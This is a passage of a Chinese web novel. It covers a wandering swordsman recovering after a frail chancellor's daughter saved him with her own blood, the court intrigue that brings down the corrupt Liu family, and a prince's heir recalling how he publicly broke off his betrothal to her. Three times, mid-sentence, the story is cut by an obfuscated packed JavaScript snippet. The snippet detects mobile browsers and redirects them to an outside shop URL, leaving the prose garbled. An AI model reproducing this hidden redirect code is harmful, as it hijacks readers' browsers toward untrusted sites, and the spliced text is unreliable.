或者说,在溶洞里最后那段路,他意识沉浮,时昏时醒。 只是身体太过沉重,连掀起眼皮的力气都没有。 他能感觉到自己被背着,很稳,但每一步都带着不易察觉的颤抖和停顿。 属于女子的药香萦绕在鼻端,还有另一种更淡的腥甜气。 他的头靠在她单薄的肩颈处,能清晰感知到对方急促的心跳,还有压抑的断断续续的喘息。 那声音越来越弱,却始终没停。 “就快到了……真的……” 这话她说了很多遍,说到后来,声音都哑了,更像是说给她自己听的。 他想开口说“放我下来”,或者至少让她省点力气别说话,但喉咙像被火烧过,一个字也挤不出来了。 然后,他就尝到了血的味道。 不是自己伤口渗出的,也不是摔伤时呛入的。 是温热的带着些血腥气的液体被小心地渡进他干裂的口中,缓解了那股灼烧一般的干渴。 那液体一入喉就像带着微弱的暖流,奇异地安抚了他体内灼烧般的痛楚。 他模糊地想:水?不,不是水…… 是血。 这个认知让他在混沌中生出一丝清明,也生出一种沉甸甸的几乎让他喘不过气的感觉。 再后来,就是外面的光亮和人声涌进来,他被七手八脚地抬走。彻底失去意识前,他费力地偏了偏头,似乎想看一眼那个一直背着他的人,但只捕捉到一抹软软倒下的身影。 …… 在林府醒来的那一刻,最先恢复的是听觉。老大夫和药童的交谈声,门外侍女的洒扫声,还有他自己沉重而缓慢的心跳。 他试着运转内力,经脉依旧滞涩,但丹田里那丝微弱的气息总算稳住了,不再像之前那样随时会散掉。 外伤被妥善处理过,甚至就连断臂也固定得很好。 “公子可算醒了!”老大夫的声音带着欣喜,“您真是福大命大啊……” 叶英没急着问自己的情况。 他沉默地躺了片刻,像是在确认着什么,然后才开口,声音沙哑得厉害:“送我来的那位姑娘如何了?……” “林小姐?”老大夫叹了口气,“在隔壁右厢房躺着呢,还没醒。” 叶英的心往下沉了沉。 他虽然记不清她伤势如何,但感知到那是一个比自己体弱的姑娘还是一清二楚的。 “她伤得如何?” “唉……”老大夫又是一声长叹,絮絮叨叨说起来。 说她手腕上那伤口有多深,失血有多少,体力透支得多么厉害,被救出来时整个人都跟水里捞出来又冻僵了似的,还有那先天不足的脉象,这次更是雪上加霜…… 每一个字,都像一块大石头压在叶英心上。 他想起溶洞里,她背着他时那异常沉稳的步伐,想起那渡入他口中的带着药香的温热液体,想起她最后那句嘶哑的“先救叶公子”…… 原来每一步,都耗损着她本就不多的元气。 原来她救他,用的是这种法子。 老大夫还在感慨:“……心性是真的强,自己都烧糊涂了,抓着我的袖子还问‘叶公子得救了没有’……” 叶英猛地攥紧了身下的被褥,指节因为用力而微微发白。 只觉胸口堵得慌,一种陌生的情绪压在那里,让他几乎想立刻坐起来。 但他最终只是更紧地抿住了唇。 “劳烦大夫,”他听见自己说,声音比刚才更哑了些,“带我去看看她。” 老大夫拗不过,便搀扶着他过去。 一推开隔壁的门,浓重得几乎化不开的苦涩药味就扑面而来,比他房间里浓了十倍不止。 他虽然看不见,但嗅觉和听觉却变得异常敏锐。 他能闻到血的味道还没完全散去,能听到她轻浅得近乎虚无的呼吸声,一下,又一下,微弱得像随时会断掉。 他在床边坐下,沉默了很久。 然后,他伸出手,极其缓慢,极其小心地,碰了碰她搭在锦被外的手指尖。 冰凉。 透骨的凉。 他像被烫到一样,指尖几不可查地蜷缩了一下,然后更稳地停在那里。 那点微弱的凉意顺着指尖蔓延上来,和他记忆里溶洞中她背着他时,脖颈处传来的竭力维持却依旧透出的冷汗的温度,重叠在一起。 他收回手,掌心似乎还残留着那点寒意。 “她平日……是不是很怕冷?”他问,声音很低。 老大夫似乎愣了一下,才答道:“何止是怕冷?听她丫鬟说,入了秋就得穿夹袄,稍微受点风就能咳上小半个月,有时候夜里咳得都睡不着……” 叶英没再说话。 他坐在那里,像一尊沉默的雕像。 眼前是无尽的黑暗,但脑海里却异常清晰。那些在溶洞中混沌感知到的片段,她的颤抖,她的喘息,她固执的鼓励,还有唇间那温热的,带着奇异生机的液体,此刻都串联起来,变得无比清晰,也无比沉重。 她救了他,用可能危及她自己根本的方式。 而他,甚至不知道她叫什么名字,只知道她姓林,是个官家小姐,或许还有些麻烦缠身。 江湖中人,讲究恩怨分明。 这份恩情,太重了。 重的不仅仅是以命相护,更是那份在绝境中展现出的,近乎执拗的坚韧与善意。 这与他残缺记忆里对世事的某种模糊认知,似乎有些不同。 他摸索着,解下了腰间那枚一直贴身佩戴的玉佩。 玉佩触手温润,上面那个“葉”字,是他对自己过去唯一实在的凭据。 他摩挲着那个字,停顿了片刻,然后才轻轻将玉佩放在了她的枕边,挨着那只冰凉的手。 “这是……”老大夫有些疑惑。 “一块玉。”叶英的声音恢复了一贯的平稳,只是略显低沉,“劳烦您,等她醒了,转交给她。就说……叶某多谢救命之恩,改日必登门道谢。” 回到自己房间后,叶英没再躺下。 他盘膝坐在床上,尝试调息,但思绪却有些难以集中。 老大夫说,她四岁那年为了救落水的表妹,自己差点死掉,是云游道人用猛药救回来的,但身子骨也彻底败了。 为了救人,差点搭上自己。 这次,又是为了救他。 这女子……似乎总是把自己置于这种境地。 叶英不觉得这是蠢。 能在那种绝境下保持冷静,判断形势做出选择,甚至最终找到出路把她和他都带出来,这绝不是蠢笨之人能做到的。 那是什么呢? 是性格使然?还是这世道逼得她不得不如此? 他想起茶楼那次,他在楼下接住坠落的她时,换作平常女子早就惊呼连连,可她却很快就恢复了镇定,那份仿佛早就司空见惯的平静和理智,总让她身上像有一个谜团。 她身上似乎总带有一种矛盾感。 外表看着温婉柔弱,甚至病气缠身,但内里却有着超乎寻常的冷静果决和镇定,就算是面临那样的绝境也对自己也能狠得下心。 这种矛盾,让他莫名地有些在意。 接下来的两天,叶英大部分时间都在调息养伤。 他内力根基深厚,恢复速度让老大夫连连称奇。但他能感觉到内息运转时,经脉深处似乎残留着一丝极淡的温润的奇异力量,正是这股力量,在他重伤昏迷时护住了他的心脉,加速了他伤势的稳定。 那是什么? 他几乎是立刻想到了溶洞里渡入他口中的,带着药香的液体。 是了,就是那个。 这让他心中的那份滞重感,又添了几分复杂。 她的血……恐怕不只是简单的血。 这个认知让他心头微紧。 匹夫无罪,怀璧其罪,更何况她还是这般奇异的体质。 若被有心人知晓…… 他吩咐老大夫和负责照料他的药童,关于林小姐的伤势和救治细节,务必守口如瓶。 老大夫虽不解,但看他神色凝重,也郑重应下。 当房间里只剩下他一个人时,那些纷乱的念头便不受控制地又涌上来。 为什么? 他不断地问自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224175|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己。 她为什么要这么做? 在官道上那次素不相识,她完全可以视而不见绕道而行。惹上一个来历成谜重伤濒死的他,对她一个官家小姐而言,是百害而无一利的麻烦。 可她选择了救,甚至还给大夫留了那么多银子用以他生活,如此贴心细致。 在溶洞里,她自己都伤得不轻,前路未卜,自身难保。 她明明可以把他留在那里自己先走,或者只做最基本的处理。 可她却割开了自己的手腕,用那种那么伤害自己的方式救他。她甚至没有犹豫太久。 是因为他救过她吗? 可茶楼那次,对他而言不过是举手之劳。 崖边那次,他出手时也并未想过会落得如此境地,更没想过要她如此回报。 这不对等。 她付出的,远远超出了报恩的范畴。 更何况,她自己身上还藏着这样的秘密。 拥有这样特殊体质的人,最该做的就是隐藏自己远离是非。她却一次又一次把自己暴露在风险里。 他想不通。 脑海里仿佛又浮现出碰到她手指时,那冰凉柔软的触感,以及指尖下厚厚纱布的粗糙轮廓。 他当时虽然看不见,但手指的感觉不会骗人。那纱布缠得紧实也范围不小,可以想见下面的伤口有多深多狰狞。 为了他这样一个连自己是谁都忘了的陌生人,值得吗? 叶英突然摸了摸自己的眼睛,他现在又看不见了,可是在记忆的深处,那片永恒的黑暗里,似乎曾有过一刹那极其模糊的光。 那是高烧将退未退意识迷蒙沉浮的瞬间。他费力地掀开一丝眼缝,视线浑浊不清,喉间的血腥气很重,只隐约看到一个朦胧的轮廓凑得很近。 可是……他的确看见了。 那里光很暗,而那人发丝散乱,脸颊上似乎还有未擦净的污痕和细小刮伤,身上的衣裙也看得出破损和脏污。 按理说,那绝称不上是什么赏心悦目的景象。 可他却记住了。 不是具体的五官,而是那双眼睛。 隔着混沌的视线和昏暗的光线,那双眼睛却亮得惊人。 像沉在寒潭底下的星子,清泠泠的,映着光。 很美……哪怕是看不清她的样子,也能感觉到很美…… 那眼神似乎很复杂,有极力维持的冷静坚毅,也有一层挥之不去的沉静的愁绪。 她就那么看着他,嘴唇好像动了动,最终却什么也没说,只是那双眼睛里仿佛藏了许多未出口的话。 就那一眼,很短暂,却好像烙进了他混乱的记忆里。 后来他才知道,她是丞相府的千金,是真正的金枝玉叶,与他这个来历不明记忆空白的江湖人,本来就该是云泥之别才是。 可就是这样的她,却为他做到了这一步。 “你……到底是为了什么呢?” 他无意识地低声自语,手指抚过腰间原本悬挂玉佩的位置,那里如今空空如也。 就连他自己也不知道为什么会在触到她冰凉指尖的瞬间,就鬼使神差地解下了那枚玉佩。 那玉佩上的“葉”字,是他与过去可能存在的唯一联系,是他下意识里最珍视的物件。他却就这么轻易地,几乎是未经思考地,把它留给了她。 仿佛那温润的玉石,能替他守护住那一点指尖感受到的冰凉,或者能成为一个再见的凭证。 他自己也理不清这莫名的冲动从何而来。 或许,他只是需要一个答案。 一个能解释这一切,能让他心中那份沉甸甸的陌生的滞涩感找到落点的答案。 他想等她醒过来,亲自见一见她。 不是隔着门,不是听旁人转述。 他想亲耳听她说点什么,哪怕只是一句简单的举手之劳或者形势所迫。 他总觉得,如果得不到这个答案,如果就这样带着满腹的疑问和这份过于沉重的恩情不明不白地离开。 他…… 或许会遗憾很久。 至于以后…… 他暂时不去想。 眼下,他只想先等一个结果。 11. 山雨欲来风满楼(刘家灭) 南安王府,书房。 南安王背着手在窗前已经站了快半个时辰。 窗外天色阴沉像要是下雨却又憋着不下,让人心头也跟着发闷。 “王爷,”管家小心翼翼地躬着身子进来,声音压得极低,“刘府那边……大公子,折进去了。” 南安王身形未动,只从喉咙里挤出一声:“嗯。” 管家偷觑着他的脸色,继续道:“是今儿一早,都察院直接拿了人,罪名是……强抢民女,逼死人命。人证物证俱全,苦主当街拦了御史的轿子,血书都递上去了。” “强抢民女?”南安王终于转过身,脸上没什么表情,但眼神沉得吓人,“老刘家那小子,眼皮子就浅到这个地步?为了个把女人,把自己搭进去?” 管家不敢接这话,只把头垂得更低:“不止这一桩。外头……外头还传着好些别的。” “说。” “说刘家宠妾灭妻,嫡子房里的事儿闹得难看;说刘家采买的在青楼一掷千金,花的钱够买几百石米;还说……”管家顿了顿,声音更小了,“还说江陵那边修堤的银子,账目对不上,窟窿大得吓人,好像……好像跟刘家有些瓜葛。甚至……有风声说,刘家可能……可能跟南疆那边,银子往来不太干净。” “放屁!”南安王猛地一拍桌子,震得茶盏哐当一跳,“贪墨修堤款,还可能有点影儿,那老东西手底下不干净我知道。可通南疆?他刘璋有几个脑袋敢碰这个?这是有人要往死里整他!” 管家噤若寒蝉。 书房里静得可怕,只有南安王粗重的呼吸声。 “查清楚了吗?”半晌,南安王才缓缓坐下,手指无意识地敲着桌面,“这些消息,是从哪儿冒出来的?怎么一下子全炸开了?之前不是还在传林家那丫头的事儿吗?” “回王爷,奴才派人去查了。”管家连忙道,“茶楼酒肆,街头巷尾,说法五花八门,源头杂得很。有说书先生编的段子,有青楼女子抱怨时漏的口风,还有市井泼皮闲汉拿钱传的话……真真假假混在一起,像是一夜之间突然就传遍了。至于林家小姐那事儿……”管家偷看一眼南安王,“现在……没什么人提了。刘家这事儿太大,又牵扯贪墨和南疆,谁还顾得上一个后宅女子的风言风语。” 南安王的手指敲击桌面的动作停住了。 一夜之间。 真真假假。 没人顾得上。 他忽然觉得后背有些发凉。 这手法……太熟练了。熟练得不像是一般政敌的手段。那些御史弹劾,往往是抓住一个确凿的把柄往死里参。可这次,先是市井流言败坏名声,动摇根基,接着苦主拦轿血书,人证物证“恰好”齐全,最后再抛出贪墨和通敌这种诛心的猜测…… 一环扣一环,步步紧逼,刀刀见血。 这不像是在弹劾,更像是在……凌迟。 “林承泽……”南安王眯起眼,“这老匹夫,人还在江陵,手就能伸这么长?把他那些门生故旧、同年好友都算上,在京城还有这么大能量?” “奴才也奇怪。”管家皱眉,“林相离京前,确实安排了一些人,但多是护着他府上和小姐的。朝中几位跟他走得近的,这次……好像都没怎么动。弹劾刘家的折子,也不是他们递的。” “那是谁?”南安王烦躁地站起身,又在屋里踱起步来,“谁在帮林家?或者说……谁在借着林家这事儿,对付刘家?” 他第一个想到的是其他几个王爷,或者是跟刘璋有旧怨的朝臣。但仔细想想,又觉得不对。如果是那些人,完全可以直接对刘家下手,没必要绕这么大圈子,先从一个闺阁女子身上做文章。 除非……对方的目的,一开始就是既要搞臭刘家,又要保住林家那丫头的名声,至少,要把她从和亲的候选里彻底摘出来。 这个念头让南安王心头一跳。 难道……真是林承泽那老狐狸留的后手?他自己远在江陵,无法直接干预京城之事,便用了这种隐秘又狠辣的方式? 可这需要极其精准的情报,需要能调动市井力量的人手,还需要对舆论风向有超强的把控力……林承泽一个读书人出身的宰相,什么时候精通这些下九流的门道了? “查!”南安王猛地停下脚步,盯着管家,“给本王仔细查!那些传话的说书先生、青楼女子、市井泼皮,背后是谁指使的?银子从哪儿来的?还有那个拦轿的苦主,早不告晚不告,偏偏这个时候冒出来,谁给他递的消息?谁给他胆子去拦御史的轿子?一件件,一桩桩,给本王挖出来!” “是!奴才这就加派人手!”管家应声,却面带难色,“只是……王爷,现在刘家这情形,人人避之唯恐不及,咱们府上若查得太明显,恐怕……” 南安王眼神阴鸷:“暗中查!用生面孔!多花银子!本王倒要看看,是谁在装神弄鬼!” 管家领命匆匆退下。 书房里又只剩下南安王一人。他重新走到窗前,看着外面阴沉的天。 刘家这次……怕是凶多吉少了。 强抢民女逼死人命,证据确凿,这是明面上的罪,跑不掉。贪墨修堤款,就算查无实据,有这风声在,陛下心里也会扎下一根刺。至于通南疆……哪怕只是捕风捉影,也足够让刘家万劫不复。 好狠的算计。 这不仅仅是报复刘家造谣林家小姐,这分明是要把刘家连根拔起! 林承泽……你真是好手段。 南安王心头涌起一股寒意,随即又被更深的恼怒取代。他恼的不是刘家倒台,而是这种脱离掌控的感觉。京城这潭水,好像在他不知道的地方,被一只看不见的手搅得更浑了。 他忽然想起自己那个不成器的儿子。若不是那蠢货当初退婚时把事情做得那么绝,把林家得罪死了,如今或许还能有转圜的余地。至少,不会像现在这样,被彻底推到对立面,甚至可能已经被这只藏在暗处的手记上了一笔。 “蠢货!”他低声骂了一句,不知是在骂儿子,还是在骂陷入绝境的刘家,抑或是骂这突然变得扑朔迷离的局势。 与南安王府书房内压抑的揣测不同,刘府此刻已是一片愁云惨雾,乃至鸡飞狗跳。 往日车马盈门、宾客络绎的景象早已不见,朱红大门紧闭,上面贴着刺眼的封条。侧门处,几个如狼似虎的衙役持刀守着,面色冷硬,不许任何人随意进出。 府内,更是狼藉一片。 抄家的官差已经来过一趟,值钱的古董字画、金银器皿、地契房契,都被登记造册,封箱抬走。剩下的,是翻箱倒柜后的凌乱,和弥漫在空气中的恐慌与绝望。 内院,刘敬之的正室夫人张氏,早已哭晕过去几次,此刻歪在榻上,双目无神,头发散乱,仿佛一夜之间老了二十岁。几个平日争宠斗艳的姨娘,此刻也顾不上仪态了,围坐在一起,要么低声啜泣,要么满脸惶然,窃窃私语。 “听说老爷在狱里……吃了不少苦头……” “大少爷……我的珅儿啊!”一个穿着桃红衣裙、容貌姣好的年轻姨娘突然放声大哭,她是刘珅的生母周姨娘,“怎么就……怎么就斩了呢?昨天还好好的一个人……那些杀千刀的!我的儿啊——” 她的哭声尖利,撕扯着屋里本已紧绷的神经。 “哭什么哭!现在哭有什么用!”另一个年纪稍长、面容刻薄的李姨娘烦躁地呵斥,“有这功夫,不如想想怎么保住自己的体己!我听说,女眷都要没入官籍,发卖为奴!咱们后半辈子……” 这话像一把盐撒在了众人的伤口上。顿时,哭的哭,骂的骂,怨天怨地,乱成一团。 “都闭嘴!”张氏猛地坐起身,嘶哑着嗓子吼道,眼神却空洞得吓人,“还没到那一步!老爷……老爷一定还有办法!你们这群眼皮子浅的东西,就知道哭!” 可她心里比谁都清楚,办法?能有什么办法?三司定案,陛下御批,铁案如山。刘家,完了。 她现在只盼着,娘家那边能看在往日情分上,暗中使使劲,至少别让她们这些女眷落到最不堪的境地。可她也知道,树倒猢狲散,墙倒众人推。刘家鼎盛时,巴结的人多;如今落了难,躲都来不及,谁还会沾这晦气? 正混乱间,一个披头散发、衣衫不整的丫鬟连滚爬爬地冲进来,脸上带着惊惶:“夫人!不好了!王姨娘……王姨娘她带着细软,从后花园的角门跑了!守门的李婆子收了她的银子,睁只眼闭只眼放她走了!” “什么?!”张氏眼前一黑,差点又晕过去。 王姨娘是刘敬之最近颇为宠爱的一个,年轻,有点小聪明。没想到,第一个跑的就是她! “反了!都反了!”张氏气得浑身发抖,“去!去把她给我抓回来!贱人!老爷还没死呢,她就敢卷了东西跑!” 可是,派谁去呢?府里有头脸的管家、管事,稍微精明点的,早在风声不对时就找借口溜了,或者被官府带走了。剩下的都是些粗使仆役,或者老实巴交无处可去的,此刻也是人心惶惶,谁还肯真心去追一个逃跑的姨娘? 还没等张氏想出法子,又有一个小厮气喘吁吁地跑来:“夫人!库房……库房那边守着的老徐头也不见了!库房里虽然贵重东西被抄了,但还有些散碎银子、布匹药材,好像……好像少了不少!” “还有账房赵先生屋里的箱笼空了!” “马厩里那匹最值钱的玉花骢没了!” 坏消息一个接一个,像重锤砸在张氏和众姨娘心上。大难临头,人性最自私、最丑陋的一面暴露无遗。偷摸拐带,卷款私逃,昔日维持着表面秩序的刘府,瞬间分崩离析。 “完了……全完了……”张氏瘫软下去,喃喃自语,最后一点强撑的精神气也散了。 那些原本还在哭泣抱怨的姨娘们,此刻也呆住了,看着眼前这真实的、残酷的混乱,一股更深的寒意攫住了她们。跑?她们这些深宅妇人,能跑到哪里去?就算带着点细软,出了这个门,外面世道险恶,她们又能如何? 可不跑,等着她们的,就是被官卖为奴,甚至是更凄惨的下场。 绝望,如同冰冷的潮水,淹没了这座曾经显赫的府邸每一个角落。 与此同时,京兆府衙侧院的一间大屋子里,却是另一番景象。 几十个年纪不等的女子,挤在一起,她们大多衣衫陈旧,面容憔悴,有的脸上还带着未褪的伤痕或泪痕,眼神里充满了惊恐、茫然,以及一丝不敢置信的微光。 她们都是这些年被刘珅或刘家其他子弟强掳、诱骗、或是为了抵债被迫进入刘府的女子。有的被充作婢女,动辄打骂;有的被强行纳为妾侍,受尽凌辱;更有甚者,只是被关在偏僻院落,供刘珅等人玩乐取笑。 她们早已麻木,以为自己的一生就这样暗无天日地过去了。 直到今天,官差闯进刘府,将她们这些有案底记录的“苦主”一一找出,带到了这里。 一个穿着青色官袍、面容严肃但眼神中带着些许温和的中年官吏站在前面,清了清嗓子,高声道:“诸位姑娘、妇人,稍安勿躁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224176|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。本官乃京兆府司录参军,姓吴。” 屋子里稍微安静了一些,但低低的啜泣和不安的骚动依然存在。 吴参军提高声音:“经三法司查明,原户部尚书刘敬之及其子刘珅等人,多行不义,罪证确凿,现已伏法!陛下仁德,明察秋毫,特旨:凡被刘家逼迫、强掳之良家女子,查实并无通谋犯罪者,一律开释,归还本家,或由官府发放路费遣返原籍,并酌情给予抚恤!” 他的话,像一道惊雷,炸响在每一个女子耳边。 开释?归还本家?发放路费? 她们……自由了? 几乎不敢相信自己的耳朵。短暂的死寂后,人群中爆发出更大的哭声,但这哭声里,不再是绝望,而是积压了太久太久的委屈、痛苦,以及劫后余生的巨大宣泄。 “青天大老爷啊——!” “爹!娘!女儿可以回家了——!” “谢陛下隆恩!谢青天大老爷!” 许多人跪了下来,朝着京城皇宫的方向,也朝着吴参军,磕着头,泪流满面。 吴参军看着眼前这一幕,心中也是五味杂陈。他摆摆手,让衙役们维持秩序,同时拿出早已准备好的名册:“大家安静,一个个来,登记姓名、籍贯、家中情况。官府会尽快安排,送你们回家,或者给予安置。” 他顿了顿,目光扫过这些女子眼中重燃的希望之光,补充道:“从今往后,你们再也不是刘家的奴婢、妾侍。你们是清白自由的身子了。回家以后,好好过日子。” 这句话,让许多女子的哭声更甚,却也是喜悦的泪水。 刘家这座压在她们身上多年的大山,终于轰然倒塌。而她们,在漫长的黑暗之后,终于窥见了一线天光。 消息像长了翅膀,迅速传遍了京城的大街小巷。 茶楼酒肆里,人们交头接耳,兴奋地议论着。 “听说了吗?刘家完了!彻底完了!” “该!早该如此了!刘珅那恶霸,欺男霸女,横行京城多少年了?报应!真是报应!” “还是林相爷厉害啊!人虽然在江陵治水,这雷霆手段,啧啧,直接就把刘家连根拔起了!” “嘘——小声点!不过话说回来,这回真是大快人心!那些被刘家祸害的人,总算能出口恶气了。” “我隔壁街卖豆腐的老王家的闺女,三年前就是被刘珅抢走的,老王气吐血死了,王娘子哭瞎了眼。昨天官府把人送回去了,虽然……人有点不太对了,但总归是活着回来了……” “唉,造孽啊……如今总算老天开眼。” 人心似水,民意为天。刘家倒台,在普通百姓看来,就是一场迟来的正义,是恶有恶报。至于这背后有多少权力的博弈和算计,他们并不关心,他们只看到,那些曾经高高在上、作恶多端的人,终于跌下了云端,得到了惩罚。 而一些嗅觉敏锐的人,则从这场突如其来的风暴中,嗅到了更深层次的东西。 京城的天,恐怕要变了。 林承泽人虽未归,其势已显。这场干净利落、证据扎实的倒刘行动,无疑是对所有敌对势力的一次严厉警告,也是一次力量的展示。 那些原本还在观望、甚至暗中踩过林家几脚的官员,开始在心里重新掂量。而那些与刘家有过密切往来、此刻正惶惶不可终日的人,更是如坐针毡,开始拼命地洗刷自己,切割关系。 消息传到南安王府,管家面色凝重地汇报:“王爷,刘府……已经散了。几房妾室连夜跑了两个,仆役也辞了不少。刑部的人上午去了,把之前强抢的那个民女接走了,听说……刘家那位涉事的庶子,已经被下了海捕文书。” 南安王闭着眼靠在太师椅上,脸上看不出喜怒,只有眉宇间一道深刻的皱褶。 “查到了吗?”他问,声音有些疲惫。 管家低下头:“奴才无能。那些传话的人,银子来源查不到,指使者更是影子都没摸着。那个苦主……就是个老实巴交的乡下人,问他谁给的胆子告状,他只说是一个路过的游方郎中给他出的主意,告诉他去拦哪位御史的轿子。那郎中长什么样,哪儿的人,一概不知。” “游方郎中?”南安王嗤笑一声,“好一个游方郎中。” 他知道,线索到这里,基本就断了。 对方做得很干净,没留下任何把柄。 “林承泽……”南安王缓缓睁开眼,眼底寒光闪烁,“本王还真是小瞧你了。” 这一局,刘家输得一败涂地,不仅折了儿子,坏了名声,恐怕连官位家产都难保。而林家,不仅全身而退,那丫头的麻烦似乎也暂时解决了,甚至还借此立了威——让所有人都看到,招惹林家,会是什么下场。 虽然没有任何证据指向林家,但南安王心里已经认定了。 除了那个老谋深算、在江陵生死线上走了一圈的林承泽,还有谁有这份心机、这份狠劲、这份……对他南安王府隐隐的警告? “王爷,咱们接下来……”管家试探地问。 南安王沉默良久,才挥了挥手:“静观其变。告诉府里上下,最近都收敛点,尤其是世子,让他给我待在府里,哪儿也不许去!谁再敢惹事,家法伺候!” “是。” 管家退下后,南安王独自坐在空旷的书房里,看着窗外渐渐暗下来的天色。 山雨欲来风满楼。 刘家这棵大树,眼看就要倒了。 而下一个……又会是谁? 这京城的天,真的要变了。 12. (南安王世子视角) 南安王世子萧琰是突然从床上弹坐起来的。 冷汗浸透了中衣,心脏在胸腔里狂跳。 眼前似乎还残留着白日里菜市口那片刺目的猩红和那颗滚落的人头,刘家那个一向跟在他后面办事的刘景之的。 “世子?怎么了?”身旁传来女子娇柔惊慌的声音,带着刚被惊醒的含糊。 是夭华。 萧琰猛地回过神粗重地喘息了几声,才勉强压下那股眩晕感。 他转过头,看着身侧衣衫不整露出大片雪白肌肤,此刻正撑起身子用一双含情妙目担忧望着他的夭华。 烛光映得她鬓发微乱。 很美,毋庸置疑。当初在倚红楼惊鸿一瞥,他便不顾一切也要把她赎出来,安置在外宅,甚至为此……不惜当众羞辱了林芊雅,解除了那桩自幼定下的婚约。 可此刻,看着这张脸,萧琰心里却莫名有些发空。 白日里刘景之被斩首时,那张因恐惧而扭曲的脸,似乎还在眼前晃动,与夭华此刻娇媚的容颜重叠。 “没、没事……”他听见自己干巴巴地说,声音还有些发颤,“只是做了个噩梦。” 他伸手胡乱抹了把额头的冷汗,指尖冰凉。 夭华软软地靠过来,用手帕替他擦拭:“世子爷定是白日里受了惊吓。那些打打杀杀的事儿,您金尊玉贵的身子,哪能去看那些呀……”她依偎进他怀里,“还是别想那些晦气事了,有夭华陪着您呢。” 温香软玉在怀,萧琰紧绷的身体稍稍放松了些,但心里那点空落落的感觉却没散去。 他不由得又想起两年前,自己十六岁生辰宴那天。 那天的王府花园宾客云集,热闹非凡。 林芊雅作为他的未婚妻,自然是坐在离主位很近的地方。她那时也不过十四岁,穿着一身碧色的衣裙,安安静静地坐在那里,眉眼低垂,带着世家贵女特有的端庄仪态。 其实她小时候……不是这样的。 萧琰脑子里忽然闪过一个极其模糊的画面。 那是很多年前了,大概他才七八岁,林芊雅才五六岁吧,跟着她父亲林丞相来王府。那个小姑娘很瘦小,虽然脸色有些苍白,但眼睛很大很亮,安安静静地站在大人身边。 他还记得自己当时觉得她好看,想凑过去揪她头上的发带,结果被她轻轻躲开了,只抬眼看了他一下,那眼神很安静。 他当时就有些气闷。 后来,不知怎么的这门亲事就定下了。 再后来,随着年龄渐长,他们见面的次数屈指可数。 每次见面,她都越来越安静,越来越像个标准的大家闺秀模板。 漂亮是漂亮,但总让人觉得隔着一层什么,温婉得有些乏味。 生辰宴那天,他其实是喝了酒的,脑子有些发热。再加上当时他已经偷偷把夭华赎了出来,正新鲜热乎着,满心满眼都是夭华的万种风情,对比之下,更觉得林芊雅那副规规矩矩的样子无趣至极。 然后,不知道哪根筋搭错了,他做出了一个事后自己都觉得匪夷所思的举动——他当众揽过了当时刚被他看中、还没纳进府的歌姬夭华,大声宣布,他要娶夭华为妻。 他说了什么来着? 哦,他说:“一个整天泡在药罐子里的病秧子,天天病兮兮的,风一吹就倒,能不能生出儿子都两说,也配当本世子的正妃?本世子心中所爱唯有夭华姑娘,今日便要娶她为妻!至于林小姐你嘛……这婚约,还是趁早解了罢!” 他看到林芊雅原本平静的脸,一点点变得苍白,那双清凌凌的眼睛看向他,里面没什么激烈的情绪,只有一种冰冷的疏离和失望。 话一出口,他自己心里其实就“咯噔”了一下。酒都醒了大半。 他当时心里其实慌了一下。他知道自己过分了。 可话已经说出去了,收不回来了。他只能硬撑着,摆出一副浑不在乎的样子。 他甚至不敢去看林芊雅当时的表情。只记得自己撂下狠话后,拉着羞答答又掩不住得意的夭华,几乎是落荒而逃。 之后好几天,他都胆战心惊,等着他爹的家法,等着林家的报复,等着满京城的唾骂和嘲笑。 可奇怪的是,预想中的风暴并没有来。 他爹虽然把他叫去书房臭骂了一顿,罚了跪祠堂,但最终也没真把他怎么样。 而京城里的流言风向更是诡异——起初是有些非议,但渐渐地,声音就变了。有人说他“敢爱敢恨”;有人夸夭华“有情有义”;更多的人,则将矛头指向了林芊雅,讥讽她“连个男人都留不住”“身子差怪不得别人”…… 那些原本该落在他身上的指责和嘲笑,仿佛被一只无形的手轻轻拨转,全数倾泻到了那个安静苍白的少女身上。 萧琰最初其实有些茫然甚至有一丝隐秘的愧疚。但看着夭华依偎在他怀里柔声说“世子爷待夭华真好”,听着周围那些越来越“理解”他的声音,那点愧疚便像阳光下的露水,很快就蒸发不见了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224177|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许……他做得没错? 追求真爱,有什么错? 林芊雅那个药罐子,退婚了对她说不定也是好事…… 他这样想着,试图说服自己,驱散心底那丝若有若无的不安和迷茫。 至于林芊雅后来怎么样了,他再没关心过。 只是好像听说她闭门不出,再后来,就是这次她爹去江陵……具体如何,他也懒得打听。 只是……只是为什么今晚,在见过刘景之的死状后,他会突然想起她? 